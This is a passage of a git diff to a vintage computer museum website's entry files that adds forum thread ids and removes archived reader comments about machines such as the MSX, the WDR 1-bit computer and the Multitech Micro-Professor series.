[www.nitrate.plus.com](http://www.nitrate.plus.com/Files/Docs/MEK6802D5/mek6802d5.pdf) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Red Squirrel - date: Wednesday 16th May 2012 - text: Does anyone know where the transformer connects? - - author: Dave Sakievich (USA) - date: Wednesday 28th April 2010 - text: |- - A PDF format for the manual for the MEK6802D5 Kit can be found at:\ - http://www.nitrate.plus.com/Files/Docs/MEK6802D5/mek6802d5.pdf\ - I downloaded one myself just today 4/27/2010. - - author: Ron (Athens Ohio) - date: Monday 20th April 2009 - text: |- - Did anyone ever locate a user manual for the MEK6802D5? I just purchased one of these computers, in good working order$ but it may be difficult to do much with it without the user manual. If no luck, I may try to reverse-engineer it. YUCK!!!!! - - PLEASE HELP!!! - - author: Isidro (Chicago - IL) - date: Sunday 11th February 2007 - text: I have one of these from my days at DeVry in Chicago. I have a schematic diagram of it and I am looking for any manuals that go along with it. Anyone have manuals for it, please let me know. - - author: oldgranpa (Alabama) - date: Wednesday 9th August 2006 - text: |- - I also need a manual for the MEK 6802 evaluation kit. I have lost mine. Please let me know where to get one.\ - thanks - - author: Hey (México) - date: Sunday 7th November 2004 - text: I would be glad if someone could send me the users manual or where to get it from - - author: amor (Tunisia) - date: Thursday 18th March 2004 - text: I look for a MEK 6802 D5 user's manuial document. Are they any help for me thank you - - author: orvhie diaz (philippines) - date: Saturday 15th February 2003 - text: are there any schematic available for the mek-6802-d5 trainer. It would be nice as an aid for my teaching 6800/6802 asm subject. oc_id: 504 source: url: https://web.archive.org/web/20230605023748/http://www.old-computers.com/museum/computer.asp?c=504 diff --git a/content/museum/motorola-wdr-1-bit-computer.md b/content/museum/motorola-wdr-1-bit-computer.md index a3c63a1b..89c97a80 100644 --- a/content/museum/motorola-wdr-1-bit-computer.md +++ b/content/museum/motorola-wdr-1-bit-computer.md @@ -55,6 +55,7 @@ params: tabs: - photos - links + forum_thread: 815 photos: - title: SYSTEM BOARDS subtitle: '' @@ -87,42 +88,6 @@ params: - title: German page about the WDR computer url: http://www.wdr-1-bit-computer.talentraspel.de text: Including the full WDR user manual (in German). - comments: - - author: Achim Baqué (Germany) - date: Saturday 29th January 2022 - text: Hi, I do preserve and collect vintage computers. Please contact me (Contact via my website) if you have the WDR computer to offer. - - author: alysdexia - date: Wednesday 13rd November 2019 - text: |- - That''s not nesciently built$ you are.\ - "LCD display": retard - - author: Dave - date: Tuesday 10th October 2017 - text: Certainly does have a nice front panel! Easy to understand, I wonder what programming it was like, I''ve never even heard of a 1-bit processor before... - - author: OC01 - date: Monday 28th October 2013 - text: |- - http://wdr-1-bit-computer.talentraspel.de/documents/wdr_1-40.pdf - - Here''s the manual. It''s in german, but page 13 has the basic schematics. - - author: Simon - date: Thursday 19th September 2013 - text: I think 256B Ram is used as rom-where you load the program. - - author: Silent-Hunter (Maryland, USA) - date: Monday 19th August 2013 - text: I want one! - - author: Bill Gates - date: Thursday 22nd September 2011 - text: Will it run Windows Vista? - - author: dionisius (indonesia) - date: Monday 30th May 2011 - text: yeah it is RISC to the MAX!! Where to find the scheme?? - - author: Pharoah (USA) - date: Saturday 26th November 2005 - text: |- - It's RISC to the extreme!\ - (Move over OISC)\ - LOL oc_id: 834 source: url: https://web.archive.org/web/20230528105009/http://www.old-computers.com/museum/computer.asp?c=834 diff --git a/content/museum/msi-6800.md b/content/museum/msi-6800.md index ef05f263..bc3913a8 100644 --- a/content/museum/msi-6800.md +++ b/content/museum/msi-6800.md @@ -59,6 +59,7 @@ params: - adverts - links - docs + forum_thread: 715 photos: - title: DUAL FDD VERSION subtitle: '' @@ -246,44 +247,6 @@ params:  source : [Chuck Hinkle's Home Page](http://www.hinkles.us/chuckbo/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Dana Peterson (Arizona) - date: Tuesday 19th April 2011 - text: |- - Chuck: I was the designer of the MSI 6800.\ - Any questions? - - author: Chuck - date: Monday 11th April 2011 - text: The 1977 catalog from Midwest Scientific Instruments (featuring the MSI-6800) is available at http://www.hinkles.us/chuckbo/MSI-6800/index.htm - - author: Dana Peterson (United States) - date: Tuesday 12th April 2022 - text: 'Chuck $ Glenn: Correction: I worked at MSI from 1977 to 1979. I don''''''''t remember what your job was at MSI. Can you give details of what was your job? Thanks, Dana' - - author: Dana Peterson (United States) - date: Tuesday 12th April 2022 - text: 'Chuck $ Glenn: I worked at MSI from 1975 to 1977. I don''''t remember what your job was at MSI. Can you give details of what was your job? Thanks, Dana' - - author: Achim Baqué (Germany) - date: Thursday 3rd February 2022 - text: If someone can offer this computer, please contact me. - - author: Jeffrey S Culvahouse (United States) - date: Thursday 18th October 2018 - text: |- - I have some reference material concerning the MSI 6800A Computer System. I am downsizing and want to get rid of it. I only request the cost of shipping. I have the MSI 6800A Computer System Operation Manual, the SDOS Disk Operating System Utilities Supervisor''s Reference Manual, the FD-8 Floppy Disk Diagnostics Reference Manual and the FD-8 Operation Manual for Model FD-8. - - If interested, please contact me. - - Jeff Culvahouse - - author: Brad (Canada) - date: Sunday 10th July 2016 - text: I acquired one of these recently. However, instead of the ''MSIBUG'' ROM it has something called HUMBUG. It wants an operating system disk which I don''t have.. wondering if anyone out there knows where I might find a copy of the original ROM? Or knows anything about HUMBUG? - - author: Monica A. Koury-Salloum - date: Saturday 25th August 2012 - text: Just found a sharp PC 6800 in my shed. LOL Just wondering if a museum might want it??? please reply. mksalloum@msn.com - - author: Monica A. Koury-Salloum - date: Saturday 25th August 2012 - text: Just found a sharp PC 6800 in my shed. LOL Just wondering if a museum might want it??? please reply. mksalloum@msn.com - - author: Glenn Taylor (Shawnee KS) - date: Thursday 29th September 2011 - text: I''m the Glenn Taylor mentioned above. We had some fun working on the 6800 system. oc_id: 732 source: url: https://web.archive.org/web/20230413211535/http://www.old-computers.com/museum/computer.asp?c=732 diff --git a/content/museum/msx-1.md b/content/museum/msx-1.md index 02debab4..9445f301 100644 --- a/content/museum/msx-1.md +++ b/content/museum/msx-1.md @@ -64,6 +64,7 @@ params: - hardware - emulators - links + forum_thread: 105 hardware: - title: NATIONAL CF-2131 subtitle: 16 KB RAM expansion @@ -200,115 +201,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Omar (Dubai, UAE) - date: Thursday 18th March 2021 - text: Adding to that, my mother actually owned an MSX as a teenager. There were a lot of edutainment titles, and the MSX it seems was marketed primarily with an educational slant, and a games system and work computer second. Eventually the company (Al-Alamiah) began creating MS-DOS computers, but there''s barely any information I can find about those. - - author: ACS - date: Monday 22nd June 2015 - text: The MSX was also very popular in west asian and north african Arabian countries. It was also especially popular in gulf countries with KSA based al-Alamiah reprogramming translating the OS to Arabic. al-Alamiah also developed and published several Arabic applications and video games. - - author: Makunga - date: Thursday 30th May 2013 - text: |- - Hi all. - - Believe it or not, I became a fan of programming and computers after using one of those around 1985. They where hooked to black $ white CRT TV sets and the programs in MSX Basic recorded in music cassets. - - That was in Cuba and were the first computers introduced at high schools along with 8086/8088 Ltels with 256 KB RAM (for the teachers). Damn, I''m so old... - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support HELP - - author: josemi (Valladolid (Spain)) - date: Thursday 26th April 2012 - text: |- - MSX 1 was very popular in Spain. It was sold very well in 84 $ 85, specially Sony and Philips - - Most computers were sold in office material shops, nothing related to families, Philips was a really popular brand for TVs and electrical appliances, so many families bought it in the same shop that offered freezers and hair dryers. Sony was popular too and it made a big advertising campaign. - - The big problem was the price, a MSX system cost the double that an "grey imported" spectrum, and that was much money for an Spanish family by that time. - - author: Marco G (Portugal) - date: Saturday 21st April 2012 - text: I do own a Philips MSX. They were good machines but over here Timex TC-2068 and Sinclair 48k/128k where dominant. - - author: Kvisko (Serbia) - date: Monday 9th August 2010 - text: |- - http://en.wikipedia.org/wiki/MSX - - Please add this photo of first MSX, since I remeber it well to be the exact copy of this computer - - Best wishes to ya all from Serbia - - author: Alexei (Seattle (USA)) - date: Wednesday 3rd May 2006 - text: |- - It's too bad the standard didn't last. Rather than an official standard for home computers, we ended up with a de-facto standard (the PC).c - - Still, MSX are cool machines. - - Enrico, I'm willing to bet that there are probably even more unknown MSX system. - - author: Alberto (Madrid (Spain)) - date: Tuesday 5th November 2002 - text: |- - Hi Enrico, and every one who loves MSX. Certainly the meaning of "MSX" acronym is secondary, let's use these wonderful machines and enjoy! :D\ - And thanks to Old-Computers webmasters for your patience ;). Best Regards. - - author: Enrico Barbisan (Italy) - date: Thursday 29th August 2002 - text: |- - Kris says: - - This is a Sord M5 computer\ - http://bernholm.dk/computermuseum/index.php?view=sordm5 - - There are pictures of games and they look very much like MSX games! - - My question now is: Is the Sord an MSX compatible ??? - - I and other say: - - There are some differences, for ex slot format. - - Ciao,\ - Enrico - - author: Enrico Barbisan (Italy) - date: Monday 26th August 2002 - text: |- - Hi, - - I've found this interesting site talking about East countries homecomputers. - - http://www.homecomputer.de - - Maybe there are unknown MSX clones around the world. For example: - - \--------\ - Elektronika MC1502: MSX?\ - http://www.homecomputer.de/pages/easteurope_ussr.html - - http://www.homecomputer.de/images/wanted/easteurope/Elektronika_MC1502.jpg - - \-------\ - Toshiba style!\ - http://www.homecomputer.de/images/wanted/easteurope/Bashkirya-2M.jpg - - Regards,\ - Enrico - - author: Enrico Barbisan (Italy) - date: Thursday 8th August 2002 - text: |- - Hi Alberto, - - I'm an Italian MSX user. I know that Nishi said that MSX was the acronym of: "Machine and Software Exchageability".\ - I don't know if Nishi has said another thing for it. Let me know.\ - Regards,\ - Enrico - - author: Alberto (Madrid (Spain)) - date: Wednesday 31st July 2002 - text: 'Hello, I''ve been an MSX fan for many years and I''ve read several times the origin of "MSX" as "MicroSoft eXtended" acronym but, the same Mr. Nishi who founded the standard in 1983 has declared the real meaning: The first protoype of this machine was called MNX by "Matsushita-Nishi X". This word was registered and then they have to change to MSX for "Matsushita-Sony X". This information is more detailed at Kuniji Ikeda internet news page.' related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/msx-2-291.md b/content/museum/msx-2-291.md index d42ff226..7e76b023 100644 --- a/content/museum/msx-2-291.md +++ b/content/museum/msx-2-291.md @@ -63,6 +63,7 @@ params: tabs: - emulators - links + forum_thread: 301 emulators: - title: BlueMSX url: http://www.bluemsx.com/ @@ -79,16 +80,6 @@ params: - title: The Ultimate MSX FAQ url: http://www.faq.msxnet.org/msx2p.html text: MSX2+ specifications, and more! - comments: - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support HELP related: - /museum/panasonic-fs-a1-fx - /museum/panasonic-fs-a1-wx-wsx diff --git a/content/museum/msx-2.md b/content/museum/msx-2.md index 9880883c..63d8e00a 100644 --- a/content/museum/msx-2.md +++ b/content/museum/msx-2.md @@ -52,6 +52,7 @@ params: tabs: - emulators - links + forum_thread: 298 emulators: - title: fMSX for MS DOS Homepage url: http://www.komkon.org/~dekogel/fmsx.html @@ -97,36 +98,6 @@ params: - title: MSX Faq url: http://www.faq.msxnet.org text: Here, you can find near all hardware pieces related to MSX. - comments: - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support HELP - - author: fondacio - date: Wednesday 15th August 2012 - text: MSX2 also had an 80x24 text mode$ you may want to update the technical specifications accordingly. - - author: Diego Chiacchio (Trelew (Chubut), Argentina) - date: Sunday 4th July 2004 - text: |- - Hola, soy usuario y coleccionista de computadoras de 8 y 16 bits. Estoy armando un pequeño museo en casa y publicando su version virtual en Internet. Para todos aquellos que deseen ayudarme con material y contenido para MSX por favor comunicarse por e-mail o bien visitar la suguiente pagina:\ - www.homecomputer.com.ar/Msx\ - Muchas gracias. - - author: Luis (Chile) - date: Friday 2nd July 2004 - text: |- - hola, hace muy poco compre un Talent MSX2 en U$5, con disketera incluida. Ademas un amigo me paso 15 disketes con juegos, solo queria compartir mi alegri con quien lea este post. - - LMR - - author: Sergio Modia Bao (Sada, A Coruña (Spain)) - date: Monday 6th May 2002 - text: |- - El Msx me parece el mejor ordenador a lo que compatibilidad se refiere, el estandar por excelencia, ademas superaba a sus competidores en una escala asombrosa, ya que los cartuchos eran un gran aliciente con unas prestaciones muy buenas para la epoca.\ - Para mi el ordenador domestico con mas ventajas y prestaciones. related: - /museum/canon-v-25 - /museum/jvc-hc-95 diff --git a/content/museum/msx-turbo-r.md b/content/museum/msx-turbo-r.md index c9b8987f..032d61f2 100644 --- a/content/museum/msx-turbo-r.md +++ b/content/museum/msx-turbo-r.md @@ -62,6 +62,7 @@ params: - photos - emulators - links + forum_thread: 300 photos: - title: THE PANASONIC FS A1ST subtitle: '' @@ -86,36 +87,6 @@ params: - title: MSX Ultimate FAQ - Turbo R page url: http://www.faq.msxnet.org/msxtr.html text: Very nice info from this excellent site! - comments: - - author: Roger Jowett (Ulster) - date: Thursday 28th February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support HELP - - author: Fernando Reyes Martinez (Brazil) - date: Monday 11th October 2010 - text: 'Humity: 20\~80$ (percent of course)' - - author: Fernando Reyes Martinez (Brazil) - date: Monday 11th October 2010 - text: |- - Hi, - - About MSX turboR, the original price (back in 1990 until 1992) was: - - ST: $87,800Yen\ - GT: $99,800Yen - - Operation temperature: +10\~35C\ - Humity: 20\~80$ - - Dimensions: 425(W) x 292(D) x 89(H)mm\ - Weight: 3.4Kg - - That is. related: - /museum/panasonic-fs-a1-gt - /museum/panasonic-fs-a1-st diff --git a/content/museum/multitech-microkit-09.md b/content/museum/multitech-microkit-09.md index eb96cba1..80dca284 100644 --- a/content/museum/multitech-microkit-09.md +++ b/content/museum/multitech-microkit-09.md @@ -55,6 +55,7 @@ params: tabs: - photos - adverts + forum_thread: 1103 photos: - title: MICROKIT 09 subtitle: '' diff --git a/content/museum/multitech-mpf-1-65.md b/content/museum/multitech-mpf-1-65.md index edff8fc0..987c6007 100644 --- a/content/museum/multitech-mpf-1-65.md +++ b/content/museum/multitech-mpf-1-65.md @@ -58,6 +58,7 @@ params: - hardware - emulators - links + forum_thread: 1172 photos: - title: MPF-1/65 subtitle: '' diff --git a/content/museum/multitech-mpf-1-a-b.md b/content/museum/multitech-mpf-1-a-b.md index af15bcd3..810de43c 100644 --- a/content/museum/multitech-mpf-1-a-b.md +++ b/content/museum/multitech-mpf-1-a-b.md @@ -69,6 +69,7 @@ params: - hardware - emulators - links + forum_thread: 473 photos: - title: BOOK OPENED subtitle: '' @@ -191,55 +192,6 @@ params: - title: Lee Davison webpages url: http://retro.hansotten.nl/ text: Nice info about the training computers - comments: - - author: Glenn (UK) - date: Thursday 9th April 2015 - text: I never owned an MPF-1, but I did have the EPROM programmer and the printer. I bought these as a job lot from either Bull Electrical or Greenweld in the early 90s for a few pounds. The printer was pretty useless without the MPF-1. The EEPROM programmer on the other hand was easily adapted to work with a ZX Spectrum and I was able to burn 27-series EEPROM chips using it. - - author: Simon Lyne (England) - date: Friday 5th September 2014 - text: |- - Found the manual $-) - - http://www.1000bit.it/support/manuali/multitech/MPF-I-User$27s-manual.pdf - - Just got hold of one as a grad present. - - author: David Shepherd - date: Monday 31st March 2014 - text: |- - No the picture is definitely not an MPF-1B I have one here: - - http://www.agerweb.co.uk/oldcomputers/OCIndex.htm - - author: Tom (Germany) - date: Friday 4th May 2012 - text: 'Update to street prices: The Micro Professor I is still built and sold by Flite electronics. Their actual price is £225.- (ca. €275). Considering what the prices of Arduinos or even professional prototyping kits are, I wonder how many they have been selling, lately $)' - - author: Polymike (South Africa) - date: Friday 6th January 2012 - text: |- - Dave Shepard''s comment that the picture on this mini-forum is perhaps not accurate. Partly true. The picture refers to, i believe is the MPF-1B. For a picture of the MPF-1A go to Wikipedia under Multitech MPF-1.\ - I have technical questions but will post them on the main forum. - - author: Maarten (The Netherlands) - date: Monday 29th June 2009 - text: I have a MPF with a Bardehle Electronic video board. Thanks to Elco''s post I found the manual for it, but it turns out that I also need an eprom (called the VIDMON monitor according to the manual) to replace the usual MPF monitor rom. Does anyone know where I can find a dump of this rom? All of my searches have come up empty and I am very curious to see what this video board does. Thanks! - - author: elco (The Netherlands) - date: Sunday 14th June 2009 - text: |- - here are manuals for the mpf-1 - - http://electrickery.xs4all.nl/comp/mfp1/doc/info.html - - author: bob weir (colorado USA) - date: Sunday 6th February 2005 - text: Hi , my MPF was bought new in '85. the one w/ a fluorescent display. also have the printer, the BASIC chip and the IOM board and a radio shack tape recorder for storing the programs. and a stack of manuals. what i am up to at present is working on serial rs-232 code for i/o. if you have had some luck in this area please let me know. or if you know of another forum for MPF users where code and experimental results are shared please let me know that too. thanks to you all. bw - - author: Paul Schenkels (Belgium) - date: Thursday 20th January 2005 - text: Does somebody know where I could find copies of the manual for the MPF printer and the MPF Eprom Programmer? Thanks . - - author: MooglyGuy (USA) - date: Wednesday 1st December 2004 - text: Just so you know, the MPF1 board is currently emulated in MESS, thanks to my own efforts in emulating it. - - author: Sergio gimenez (Spain) (SPAIN) - date: Friday 24th September 2004 - text: |- - Please I need how to use SBR and CBR keys .\ - Thanks ! related: - /museum/multitech-mpf-1-65 - /museum/multitech-mpf-1-plus diff --git a/content/museum/multitech-mpf-1-plus.md b/content/museum/multitech-mpf-1-plus.md index bcbe07a3..7042848c 100644 --- a/content/museum/multitech-mpf-1-plus.md +++ b/content/museum/multitech-mpf-1-plus.md @@ -63,6 +63,7 @@ params: - software - emulators - links + forum_thread: 519 photos: - title: MPF-1P subtitle: '' @@ -144,58 +145,6 @@ params: - title: Lee Davison webpages url: http://members.lycos.co.uk/leeedavison/z80/index.html text: Nice info about the MPF-1B and MPF-1 Plus - comments: - - author: DENIS (FRANCE) - date: Tuesday 28th July 2015 - text: Je possède 1 MPF1P à vendre avec nombreux équipements - - author: titiroche - date: Monday 16th April 2012 - text: J''ai besoin du contenu de l''eprom pour le MPF1 plus (avec afficheur 20 caractéres) car ils sont maquante sur ma carte - - author: luke hsu (Taichung / Taiwam) - date: Saturday 10th July 2010 - text: I need the manuals of the mpf-1p - - author: elco (The Netherlands) - date: Sunday 14th June 2009 - text: |- - here are manuals for the mpf-1 - - http://electrickery.xs4all.nl/comp/mfp1/doc/info.html - - author: ali (united state) - date: Wednesday 7th June 2006 - text: |- - hi\ - i looking for a simulater of z80 mpf for training - - author: Sergio Gimenez (Spain) - date: Wednesday 18th January 2006 - text: |- - Please , I need the MPF FORTH ROM option , a copy or the original .\ - where is this rom to download ? - - Thanks for your attention.\ - Sergio. - - author: Stefanos (Greece) - date: Saturday 19th March 2005 - text: I need a MpF I plus simulator for the PC. Does anybody knows if exists something about it ?? - - author: Jonatan Portillo (Perú) - date: Saturday 15th May 2004 - text: I need the user's guide. I have to program a z80 microprocessor - - author: Peter Steele (Scotland) - date: Wednesday 24th March 2004 - text: The power requirements of the MPF-1P are 12VDC @ 1.0 Amp - - author: Ricardo (Texas, USA) - date: Friday 15th August 2003 - text: |- - Hi, I was wondering if anybody has the specs for the power supply. I have an MPF-1P but the original power supply is missing. - - Thanks! - - Ricardo - - author: Jeroen (The Netherlands) - date: Sunday 25th May 2003 - text: |- - Hi, - - I own one of these, but I don't have a manual... :( I'd really like some info on how to use it, so if anyone has any information please email me! related: - /museum/multitech-mpf-1-65 - /museum/multitech-mpf-1-a-b diff --git a/content/museum/multitech-mpf-i-88.md b/content/museum/multitech-mpf-i-88.md index 54510ffb..ff0de15a 100644 --- a/content/museum/multitech-mpf-i-88.md +++ b/content/museum/multitech-mpf-i-88.md @@ -61,6 +61,7 @@ params: - emulators - links - docs + forum_thread: 1102 photos: - title: MPF-I/88 subtitle: '' @@ -140,32 +141,6 @@ params:  type of document : PDF\  size : 52,2 Mb\  source : [leobodnar.com](http://leobodnar.com) - comments: - - author: Louis (Uk) - date: Sunday 5th June 2022 - text: Hi I have one. Micro processor. Want to sell it? - - author: Sergio (Spain) - date: Monday 11th January 2021 - text: Forth https://drive.google.com/file/d/1xKMKYQOycEDEls7L9c6WUKsk9V1DmLWd/view?usp$sharing - - author: Sergio (Spain) - date: Monday 11th January 2021 - text: 'Hi, mpf rom : https://drive.google.com/file/d/1xKMKYQOycEDEls7L9c6WUKsk9V1DmLWd/view?usp$sharing' - - author: Leo Bodnar (UK) - date: Saturday 12th December 2020 - text: 'I have put a User Manual here: http://leobodnar.com/MPF-I88/Multitech$20MPF-I88$20User$20Manual.pdf' - - author: Jeef (France) - date: Wednesday 2nd December 2020 - text: Hi, I''m looking for pdf docs and Forth ROM image. Thanks! - - author: Alien - date: Wednesday 17th July 2019 - text: Forth starts with Key H after boot. - - author: Sergio Giménez (Spain) - date: Wednesday 26th December 2018 - text: |- - Hi, I have the Forth rom option, please, does anyone know which key combination activates the Forth mode? - - Thanks.\ - Sergio. related: - /museum/multitech-mpf-1-65 - /museum/multitech-mpf-1-a-b diff --git a/content/museum/multitech-mpf-ii.md b/content/museum/multitech-mpf-ii.md index 7d0f4e07..0b2e992b 100644 --- a/content/museum/multitech-mpf-ii.md +++ b/content/museum/multitech-mpf-ii.md @@ -67,6 +67,7 @@ params: - connectors - software - links + forum_thread: 286 photos: - title: MPF-II subtitle: '' @@ -159,82 +160,6 @@ params: - title: ACER milestones url: http://global.acer.com/about/milestones.htm text: Multitech was the first name of ACER - comments: - - author: DC (Taiwan) - date: Friday 2nd July 2021 - text: I have this computer and it''s still working. Not sure what info i can share with you. - - author: Levent (USA ) - date: Tuesday 24th September 2019 - text: |- - I just bought one on EBay. This computer is compatible with Apple II. You can run most Apple II Basic programs on it.\ - For software, haven’t seen anything yet. - - author: vitalis (Finland) - date: Friday 13rd September 2019 - text: |- - I just bought MPF-II in a good condition from internet auction. The computer and external keyboard work, connected from "Monitor" output to the flat TV. - - I did not know about the existence of such a model until I saw it at auction. Is there any resource available where one can download any software, preferably as .WAV files for loading through the Cassette interface. - - I have also 5 "official" cassettes with it: PYRAMID, MICRO-NURSE, SNAKE, BURN-OUT, BLITZ, but have zero knowledge are these tapes still readable. - - author: Hasan Batto (Lebanon) - date: Thursday 21st March 2019 - text: i have problem with video output, screen keeps scrolling diagonally on both AV and RF. any idea what would be causing this? - - author: Bubz - date: Monday 12th June 2017 - text: Does anyone know of any resources online for the MPF-II? Besides the TK2000, I can''t seem to find any games, programs, or much of anything. It would be nice if there were some preservation project or similar (I might possibly even be able to contribute, I''m in the process of recovering the data off the tapes I got, but I only got a few games and sadly it does not look like I''ll be able to recover all of them, the tapes are just not in very good condition any more). - - author: Jan kajander (Norway) - date: Monday 18th July 2016 - text: Had one as Kid in 1975 (100$) sure it was imported by a company in Stockholm, and sold by a Radio shop in Gusum Sweden near to Valdemarsvik, It was new in to the country, it was Apple compatible but much rework and rewrite the programs to get things work had to be done, eventually i gave it back due to lack of apple functions, cassette tape, (long way prior the other names arrived, and later such dominance in the market. No epa jaggy edge logotypes, no flash bios, just a square white blinking cursor at top left corner. That was before loading the cassette tape and the program. Compare spec and prices with IBM that year , for my i think the price was 3000:- sek /300 euro or so, that is a diff to 19975 USD. https://en.wikipedia.org/wiki/IBM_5100 - - author: Martin (Sweden) - date: Wednesday 12th December 2012 - text: Anybody who has these "special ROMs" that the summary page is referring to (or knows of a source/link where they might be available)? - - author: Lisias Toledo (Brasil) - date: Tuesday 10th April 2012 - text: |- - Dear eli (ISRAEL), how can I contact you? - - Maybe you can contact me: me at lisias dot net - - author: eli (ISRAEL) - date: Thursday 26th January 2012 - text: I HAVE AN MPF II, WHICH IS BRAND NEW, IN IT''S ORIGINAL PACK. - LOOKING FOR BUYER - - author: Ivan (France) - date: Tuesday 15th February 2011 - text: |- - I had this computer for a couple of years (it''s gone by now though - unfortunately). Couldn''t afford the disks, so it was cassette only for me. - - Used this to grind my teeth at computing - 1st, I wrote a 6502 disassembler - only using hex - took me a few month.. - - At which point, I wrote a symbolic assembler (took me but a week once I had the disassembler). - - Fond memories ! - - author: Martin Menner (Spain) - date: Wednesday 3rd November 2010 - text: |- - I have 2 Microprofessor II Manuals and 2 defect Microprofessor II computers incl. all cables in the house of my parents in Germany. The motherboards would serve to take out parts that still work. I would just give it for free (if you pay the transport).\ - I am in Spain, but could ask my parents to send it to someone interested. (mmenner@merlin.fae.ua.es) - - author: Eddy (Thailand) - date: Sunday 29th August 2010 - text: Hi, I have this computer since I was a student in university. And it be kept at my home. May be its user manual and reference manual be there. - - author: Kiks (Italy) - date: Friday 9th April 2010 - text: |- - Hi, when I was 7 years old, my father bought an MPF II. I think it was the only one in Italy $)\ - I remember that I used an Apple II manual, but I can''t remember about it''s original manual. I''ll search for something but I remember that my father sell it after some years and bought a C64. - - author: ChrisWilliam (Sweden) - date: Thursday 22nd August 2002 - text: |- - Hi! - - when I was a kid I had a Microprofessor II (my first computer). TO BAD I sold it! - but now I feel I just HAVE TO get one!, so my question is simple: does anyone have one OR know were I might be able to get one + games? I am verrrry happy for any answers about this!, PLEEEES Email me...I WILL PAY!!! - - girfu@hotmail.com - - C YA // Chris - thanx - - ps. I live in Sweden but I would of course do bussines with people outside Sweden! - - author: Brahma (Finland) - date: Monday 17th June 2002 - text: Where can I find a manual for this computer.. I cant believe it still works. oc_id: 276 source: url: https://web.archive.org/web/20230528105456/http://www.old-computers.com/museum/computer.asp?c=276 diff --git a/content/museum/multitech-mpf-iii-312.md b/content/museum/multitech-mpf-iii-312.md index ec1b78e2..d07893ff 100644 --- a/content/museum/multitech-mpf-iii-312.md +++ b/content/museum/multitech-mpf-iii-312.md @@ -59,6 +59,7 @@ params: - adverts - hardware - links + forum_thread: 299 photos: - title: INSIDE - FRONT subtitle: '' @@ -136,18 +137,6 @@ params: - title: ACER milestones url: http://www.global.acer.com/about/milestones.htm text: Multitech was the first name of ACER - comments: - - author: Jan Huizinga - date: Monday 24th August 2015 - text: |- - I had a MPF-III with two(!) floppy drives. It was basically my first computer.\ - I quickly found out that it wasn''t that compatible with Apple. So finally I found a real Apple 2 and printed out the ROM.\ - After wards I programed (byte for byte) an EEPROM and replaced the MPF-III ROM with the EEPROM.\ - System booted up as Apple and worked perfectly!\ - Nice memories! - - author: Erich Strelow (Chile) - date: Tuesday 29th January 2008 - text: Also have fond memories of this piece. I had it as a teenager and used mostly with DOS 3.3. The CP/M card allowed to run Supercalc and Wordstar. The included documentation had a brief but insightful chapter on 6502 assembly programming. oc_id: 289 source: url: https://web.archive.org/web/20230605024009/http://www.old-computers.com/museum/computer.asp?c=289 diff --git a/content/museum/mupid-2.md b/content/museum/mupid-2.md index aec23cab..868e8315 100644 --- a/content/museum/mupid-2.md +++ b/content/museum/mupid-2.md @@ -62,6 +62,7 @@ params: - photos - hardware - links + forum_thread: 1089 photos: - title: MUPID C2A2 CLOSE-UP subtitle: '' @@ -84,22 +85,6 @@ params: - title: much.iicm.tugraz.at/much/projects url: http://much.iicm.edu/projects/overview.htm/ text: various Mupid content in this project pages, by the father of Mupid computers - comments: - - author: Gig Ahertz - date: Saturday 6th August 2022 - text: Now you go and spoil it all by saying something mupid like I love you. - - author: robcfg (Spain) - date: Tuesday 28th April 2015 - text: |- - Hi Petrisor, - - If you still have the Mupid, please write me to my name at gmail.com, thanks! - - author: Petrisor Stoican (Romania) - date: Tuesday 12th November 2013 - text: I have one of these at home, it still works I guess and it would be a shame if I''d throw it away. Well... if someone needs it, give me an email. - - author: PeriSoft (New York) - date: Wednesday 12th September 2007 - text: That's a pretty mupid name for a computer if you ask me. related: - /museum/mupid oc_id: 1119 diff --git a/content/museum/mupid.md b/content/museum/mupid.md index 4836a5a5..004c6739 100644 --- a/content/museum/mupid.md +++ b/content/museum/mupid.md @@ -62,6 +62,7 @@ params: - photos - hardware - links + forum_thread: 1082 photos: - title: LARGER VIEW subtitle: '' @@ -76,10 +77,6 @@ params: - title: much.iicm.tugraz.at/much/projects url: http://much.iicm.edu/projects/overview.htm/ text: various Mupid content in this project pages, by the father of Mupid computers - comments: - - author: Képes Gábor - date: Saturday 7th June 2008 - text: The father of MUPID and Mupid-philosophy is Professor Hermann Maurer. The Mupid was a great way of a modern network system. It was popular in Hungary, too. related: - /museum/mupid-2 oc_id: 1112 diff --git a/content/museum/mustang-9016-telespiel-computer.md b/content/museum/mustang-9016-telespiel-computer.md index 6eb02dd7..f876466f 100644 --- a/content/museum/mustang-9016-telespiel-computer.md +++ b/content/museum/mustang-9016-telespiel-computer.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 1133 photos: - title: MUSTANG 9016 subtitle: '' @@ -53,10 +54,6 @@ params: - title: The RCA Studio 2 Emulator Home Page url: http://www.classicgaming.com/studio2/ text: Emulators, game downloads, technical information and more! Excellent. - comments: - - author: Lemonope (Australia) - date: Monday 25th March 2013 - text: Having owned one of it''s clones that was in colour. I don''t think this particular model had all the 5 built in games, but only 3 built in games, it certainly had Bowling, Patterns, and Doodle. It had a palette of only about 8 colours, while blue was used for the background, Bowling was still ''mono'' but rather Blue and White (or Yellow?) unlike B$W. Doodles and Patterns were colourful, but barely 